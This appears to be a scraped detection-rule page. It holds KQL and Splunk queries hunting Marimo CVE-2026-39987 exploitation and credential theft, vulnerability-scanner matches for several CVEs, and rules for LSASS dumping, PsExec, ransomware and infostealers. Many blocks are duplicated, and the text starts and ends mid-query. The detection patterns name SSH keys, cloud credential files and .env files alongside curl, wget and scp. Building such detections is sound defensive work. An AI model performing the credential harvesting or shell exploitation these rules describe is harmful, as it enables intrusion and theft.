| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-084 use cases0 techniques3 kill-chain phases detected
D-Link Routers contains a buffer overflow vulnerability that has a high impact on confidentiality, integrity, and availability. The impacted products could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. Vendor: D-Link, Product: Routers. Federal patch due: 2025-12-29.
CVEsCVE-2022-37055
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2022-37055")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2022-37055")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-084 use cases0 techniques3 kill-chain phases detected
Array Networks ArrayOS AG contains an OS command injection vulnerability that could allow an attacker to execute arbitrary commands. Vendor: Array Networks , Product: ArrayOS AG. Federal patch due: 2025-12-29.
CVEsCVE-2025-66644
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-66644")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-66644")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
2025-12-057 use cases2 techniques3 kill-chain phases detected
Meta React Server Components contains a remote code execution vulnerability that could allow unauthenticated remote code execution by exploiting a flaw in how React decodes payloads sent to React Server Function endpoints. Please note CVE-2025-66478 has been rejected, but it is associated with CVE-2025- 55182. Vendor: Meta, Product: React Server Components. Known ransomware use: Known. Federal patch due: 2025-12-12.
CVEsCVE-2025-55182CVE-2025-66478
ATT&CKT1190T1486
Click any ATT&CK pill below to open it on the Matrix
Match vulnerability scanner output to the CVE(s) named in the article.
ATT&CKT1190
Data sourcesVulnerabilitiesDeviceInfoDeviceTvmSoftwareVulnerabilities
DeviceTvmSoftwareVulnerabilities
| where CveId in~ ("CVE-2025-55182", "CVE-2025-66478")
| join kind=inner DeviceInfo on DeviceId
| project DeviceName, OSPlatform, CveId, VulnerabilitySeverityLevel, RecommendedSecurityUpdate
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2025-55182", "CVE-2025-66478")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Ransomware-style mass file rename / extension changeActions on ObjectivesMedium
Threshold detection: many files renamed in short window, often with new extension.
ATT&CKT1486
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(1d)
| where ActionType in ("FileRenamed","FileModified")
| summarize files = dcount(FileName) by DeviceName, AccountName, bin(Timestamp, 1m)
| where files > 200
| order by files desc
| tstats `summariesonly` count, dc(Filesystem.file_name) AS files
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("modified","renamed")
by Filesystem.dest, Filesystem.user, _time span=1m
| `drop_dm_object_name(Filesystem)`
| where files > 200
| sort - files
LSASS process access / dump (credential theft)Actions on ObjectivesHigh
Mimikatz, comsvcs.dll MiniDump, or any non-Windows process opening LSASS.
ATT&CKT1003.001T1003
Data sourcesEndpoint.ProcessesDeviceEvents
DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsSense.exe","MsMpEng.exe","csrss.exe",
"svchost.exe","wininit.exe","services.exe",
"lsm.exe","SearchProtocolHost.exe")
| project Timestamp, DeviceName, ActionType, FileName,
InitiatingProcessFileName, InitiatingProcessCommandLine,
InitiatingProcessFolderPath, AccountName
| order by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where (Processes.process="*lsass*" OR Processes.process="*sekurlsa*"
OR Processes.process="*MiniDump*" OR Processes.process="*comsvcs.dll*MiniDump*"
OR Processes.process="*procdump*lsass*")
OR (Processes.process_name="rundll32.exe" AND Processes.process="*comsvcs*MiniDump*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
[LLM] Marimo CVE-2026-39987: WebSocket upgrade to unauthenticated /terminal/ws endpointExploitationHigh
Detects inbound HTTP/WebSocket requests to the Marimo /terminal/ws path on the default port 2718. The vulnerable endpoint skips validate_auth() and grants a full PTY shell on a successful upgrade — any external hit on this URL is high-fidelity exploitation evidence per the GitHub advisory GHSA-2679-6mx9-h9xc.
Rationale: The vulnerable path /terminal/ws and default port 2718 are explicitly named in the marimo GHSA-2679-6mx9-h9xc advisory; status 101 is the WebSocket upgrade response — combined with a non-RFC1918 source and a near-simultaneous shell child of marimo, FPs are negligible.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
ATT&CKT1190T1059.004
Data sourcesWebNetwork_Traffic.All_Traffic
DeviceNetworkEvents
| where ActionType in ("InboundConnectionAccepted","ConnectionAccepted")
| where LocalPort == 2718
| where InitiatingProcessFileName has_any ("marimo","python","python3","uvicorn") or InitiatingProcessCommandLine has "marimo"
| where RemoteIPType !in ("Loopback","Private")
| project Timestamp, DeviceName, RemoteIP, RemotePort, LocalPort, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessAccountName
| join kind=leftouter (DeviceProcessEvents
| where InitiatingProcessFileName has "marimo"
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| project ShellTime=Timestamp, DeviceName, ShellCmd=ProcessCommandLine, ShellPid=ProcessId) on DeviceName
| where ShellTime between (Timestamp .. Timestamp + 2m)
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Web.http_method) as method values(Web.http_user_agent) as ua values(Web.status) as status values(Web.url) as url from datamodel=Web where Web.url="*/terminal/ws*" (Web.dest_port=2718 OR Web.url="*marimo*") by Web.src Web.dest Web.dest_port
| `drop_dm_object_name(Web)`
| where status="101" OR isnull(status)
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: marimo process spawning interactive shell childExploitationHigh
Hunts the post-exploitation primitive of CVE-2026-39987 — successful WebSocket exploitation gives the attacker a full PTY shell whose immediate parent is the marimo Python service. A marimo binary spawning sh/bash/dash/zsh as a child is the direct effect of the bug and is not part of normal notebook execution flow.
Rationale: The Endor Labs and Sysdig writeups confirm exploitation lands as a PTY shell whose immediate ancestor is the marimo service process; in normal operation marimo executes Python kernels, not /bin/sh. Direct lineage marimo→sh is therefore both rare and a deterministic exploit signal.
Cross-checked against:
• https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1059.004T1190
Data sourcesEndpoint.Processes
DeviceProcessEvents
| where InitiatingProcessFileName == "marimo"
or InitiatingProcessCommandLine has "marimo edit"
or (InitiatingProcessFileName in ("python","python3") and InitiatingProcessCommandLine has "marimo")
| where FileName in ("sh","bash","dash","zsh","ash","busybox")
| where ProcessCommandLine !has "marimo run" // ignore legitimate notebook subprocess wrappers if any
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, InitiatingProcessId, ProcessId
| extend AlertTitle = "Marimo CVE-2026-39987 PTY shell spawn"
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.process_id) as pid values(Processes.parent_process) as parent_process from datamodel=Endpoint.Processes where (Processes.parent_process_name="marimo" OR Processes.parent_process="*marimo edit*" OR Processes.parent_process="*marimo*--host*") Processes.process_name IN ("sh","bash","dash","zsh","ash","busybox") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.parent_process_id
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
[LLM] Marimo CVE-2026-39987: credential & SSH key theft from marimo-parented shellActions on ObjectivesHigh
Hunts the documented Sysdig post-exploit objective — within 3 minutes of landing the PTY shell, the operator harvested .env files, SSH private keys, and cloud credentials. Detects any marimo descendant process touching common credential files, capturing the specific TTP reported in this campaign.
Rationale: Sysdig publicly reported the operator's specific objective in this campaign — .env credentials and SSH key exfiltration completed in <3 min. Pinning the search to marimo-descended shells plus the named credential paths makes this far higher fidelity than a generic credential-access rule and directly catches the documented TTP.
Cross-checked against:
• https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987
• https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html
• https://www.bleepingcomputer.com/news/security/critical-marimo-pre-auth-rce-flaw-now-under-active-exploitation/
ATT&CKT1552.001T1552.004T1041
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
let MarimoShells = DeviceProcessEvents
| where InitiatingProcessFileName == "marimo" or InitiatingProcessCommandLine has "marimo edit"
| where FileName in ("sh","bash","dash","zsh","ash")
| project DeviceId, DeviceName, ShellPid=ProcessId, ShellTime=Timestamp;
DeviceProcessEvents
| where InitiatingProcessFileName in ("sh","bash","dash","zsh","ash","busybox","marimo")
| where ProcessCommandLine has_any (".env","/.ssh/id_","/.ssh/authorized_keys","/.aws/credentials",".netrc","id_rsa","id_ed25519","kubeconfig")
or FileName in ("cat","less","more","tar","base64","curl","wget","scp","find","grep")
and ProcessCommandLine has_any (".env",".ssh",".aws","credentials")
| join kind=inner MarimoShells on DeviceId
| where Timestamp between (ShellTime .. ShellTime + 10m)
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessCommandLine, ShellTime, ShellPid
| tstats summariesonly=t count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmdline values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("marimo","sh","bash","dash","zsh") OR Processes.parent_process="*marimo*") (Processes.process="*.env*" OR Processes.process="*/.ssh/id_*" OR Processes.process="*/.ssh/authorized_keys*" OR Processes.process="*/.aws/credentials*" OR Processes.process="*/.netrc*" OR Processes.process="*id_rsa*" OR Processes.process="*id_ed25519*") by Processes.dest Processes.user Processes.process_name Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Delivery. Transmitting the weapon (phishing email, USB, watering hole, drive-by, malicious ad). → Phishing-link click correlated to endpoint execution · Email attachment opened from external sender · Microsoft Teams external-tenant chat from unverified IT-helpdesk impersonator
Exploitation. Triggering the exploit — vulnerability/macro/trust abuse to execute code. → Office app spawning script/LOLBin child process · Trusted vendor binary / installer launching unusual children
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking.
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft) · Remote service execution — PsExec / SMB lateral movement
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
